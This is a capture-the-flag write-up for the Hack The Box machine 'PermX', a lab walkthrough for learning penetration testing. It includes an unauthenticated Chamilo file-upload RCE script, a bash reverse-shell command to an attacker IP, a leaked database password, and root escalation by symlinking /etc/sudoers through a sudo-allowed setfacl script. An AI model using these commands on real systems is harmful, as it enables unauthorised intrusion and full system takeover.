Contents

HTB: PermX

Contents

PermX is an easy Linux box, which is running a vulnerable version of Chamilio CMS which leads to a initial shell. Running linpeas reveals a password, which seems to be the password of the user mtz. Mtz has sudo permissions to run a custom bash binary, which can be exploited by making a symlink of /etc/sudoers and giving ourself ALL permissions to get root access.

I run my normal nmap scan. Port 80 and port 22 are open.

sudo nmap -sSCV 10.10.11.23 -oN nmap/nmap_normal -v Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 06:54 EDT NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 06:54 Completed NSE at 06:54, 0.00s elapsed Initiating NSE at 06:54 Completed NSE at 06:54, 0.00s elapsed Initiating NSE at 06:54 Completed NSE at 06:54, 0.00s elapsed Initiating Ping Scan at 06:54 Scanning 10.10.11.23 [4 ports] Completed Ping Scan at 06:54, 0.03s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 06:54 Completed Parallel DNS resolution of 1 host. at 06:54, 0.02s elapsed Initiating SYN Stealth Scan at 06:54 Scanning 10.10.11.23 [1000 ports] Discovered open port 80/tcp on 10.10.11.23 Discovered open port 22/tcp on 10.10.11.23 Completed SYN Stealth Scan at 06:54, 0.27s elapsed (1000 total ports) Initiating Service scan at 06:54 Scanning 2 services on 10.10.11.23 Completed Service scan at 06:54, 6.07s elapsed (2 services on 1 host) NSE: Script scanning 10.10.11.23. Initiating NSE at 06:54 Completed NSE at 06:54, 0.46s elapsed Initiating NSE at 06:54 Completed NSE at 06:54, 0.03s elapsed Initiating NSE at 06:54 Completed NSE at 06:54, 0.00s elapsed Nmap scan report for 10.10.11.23 Host is up (0.012s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA) |_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519) 80/tcp open http Apache httpd 2.4.52 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://permx.htb Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 06:54 Completed NSE at 06:54, 0.00s elapsed Initiating NSE at 06:54 Completed NSE at 06:54, 0.00s elapsed Initiating NSE at 06:54 Completed NSE at 06:54, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.036KB)

The SSH banner shows it is an Ubuntu machine. Port 80 redirects to http://permx.htb, so I add that to my /etc/hosts file.

permx.htb is just a static website.
Pasted image 20241102103625

Virtual hosts enumeration with ffuf reveals the following endpoints: http://lms.permx.htb and http://www.permx.htb. I add this to my /etc/hosts file.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H "Host: FUZZ.permx.htb" -u http://permx.htb -ic -fw 18

http://lms.permx.htb contains a login portal.
Pasted image 20241102103712

The footer also contains interesting information
Pasted image 20241102104018
Clicking on I lost my password redirects to http://lms.permx.htb/main/auth/lostPassword.php, so now we know we’re dealing with PHP.

It is also interesting there is the option to change the language, which makes me think about possible file inclusion. Tried this, but no luck.

$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://lms.permx.htb/index.php?language=FUZZ' -ic -fw 4910 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://lms.permx.htb/index.php?language=FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 4910 ________________________________________________ :: Progress: [929/929] :: Job [1/1] :: 57 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

Googling for chamilo exploit instantly shows a github repository with an exploit link, which leads to unauthenticated code execution. The exploit looks the following (I only changed the HOST variable). The CMD variable is the command to be ran on the server.

$ cat exploit.sh #!/bin/bash HOST='http://lms.permx.htb' CMD='id' URL_UPLD='main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' URL_FILE='main/inc/lib/javascript/bigupload/files/rce.php' cat <<'EOF'>/tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URL_UPLD" CMD=$(echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; print(urllib.parse.quote_plus(sys.stdin.read()))") curl "$HOST/$URL_FILE?aoOoy=$CMD"

Running this gives the output

$ ./exploit.sh The file has successfully been uploaded.uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now I change it to a reverse shell payload

CMD='/bin/bash -i >& /dev/tcp/10.10.15.18/4444 0>&1'

This doesn’t work, so I made a little change, by adding /bin/bash -c before the reverse shell, which executes the command inside the single quotes.
CMD="/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.15.18/4444 0>&1'"

Running the exploit, gives a shell as www-data.

nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.15.18] from (UNKNOWN) [10.10.11.23] 48592 bash: cannot set terminal process group (1173): Inappropriate ioctl for device bash: no job control in this shell www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$

Running linpeas reveals a password

╔══════════╣ Searching passwords in config PHP files 'show_password_field' => false, 'show_password_field' => true, 'wget_password' => '', 'force_different_password' => false, $_configuration['auth_password_links'] = [ $_configuration['db_password'] = '03F6lY3uXAP2bkW8';

Testing this password on mtz (the only user) gives us SSH access and the user flag!

mtz@permx:~$ cat user.txt 84dfd2afa76f1c4a567c441d70eb4cf7

Running sudo -l shows that we can run /opt/acl.sh.

mtz@permx:~$ sudo -l Matching Defaults entries for mtz on permx: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User mtz may run the following commands on permx: (ALL : ALL) NOPASSWD: /opt/acl.sh

This file contains the following code, this clearly is a self made bash script.
The script first checks if 3 arguments are passed in, if this is not the case, it exits. After that it sets the variable user to the first argument, perm variable to the second argument and target to the third argument.
It then checks that the target is /home/mtz/* and does not contain *..* (against directory traversal).
After that, one more check is done to verify that the path is a file. After all these checks are passed, it runs /usr/bin/setfacl (used to set file access control list) as sudo. It grants the user the permissions specified by perm onto the target.

#!/bin/bash if [ "$#" -ne 3 ]; then /usr/bin/echo "Usage: $0 user perm file" exit 1 fi user="$1" perm="$2" target="$3" if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then /usr/bin/echo "Access denied." exit 1 fi # Check if the path is a file if [ ! -f "$target" ]; then /usr/bin/echo "Target must be a file." exit 1 fi /usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Also, it is good to check who is the owner of the /opt/acl.sh binary, since otherwise I might have been possible to modify it.

mtz@permx:~$ ls -la /opt/acl.sh -rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh

symlink to /etc/sudoers

mtz@permx:~$ ln -s /etc/sudoers /home/mtz/sudoerslink mtz@permx:~$ mtz@permx:~$ ls -l total 8 -rw-rwxr--+ 1 mtz mtz 28 Nov 2 10:42 exploit.sh lrwxrwxrwx 1 mtz mtz 12 Nov 2 10:59 sudoerslink -> /etc/sudoers -rw-r----- 1 root mtz 33 Nov 2 01:41 user.txt

Set permissions

mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/sudoerslink

I then change the following line in the file /home/mtz/sudoerslink to be able to run all commands as sudo.

mtz ALL=(ALL:ALL) NOPASSWD: ALL

Which gives me all the permissions

mtz@permx:~$ sudo -l Matching Defaults entries for mtz on permx: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User mtz may run the following commands on permx: (ALL : ALL) NOPASSWD: ALL

With that, I can change to root and read the final flag.

mtz@permx:~$ sudo su root root@permx:/home/mtz# cat /root/root.txt 21f17cef6b247b145a2c2b11352740d1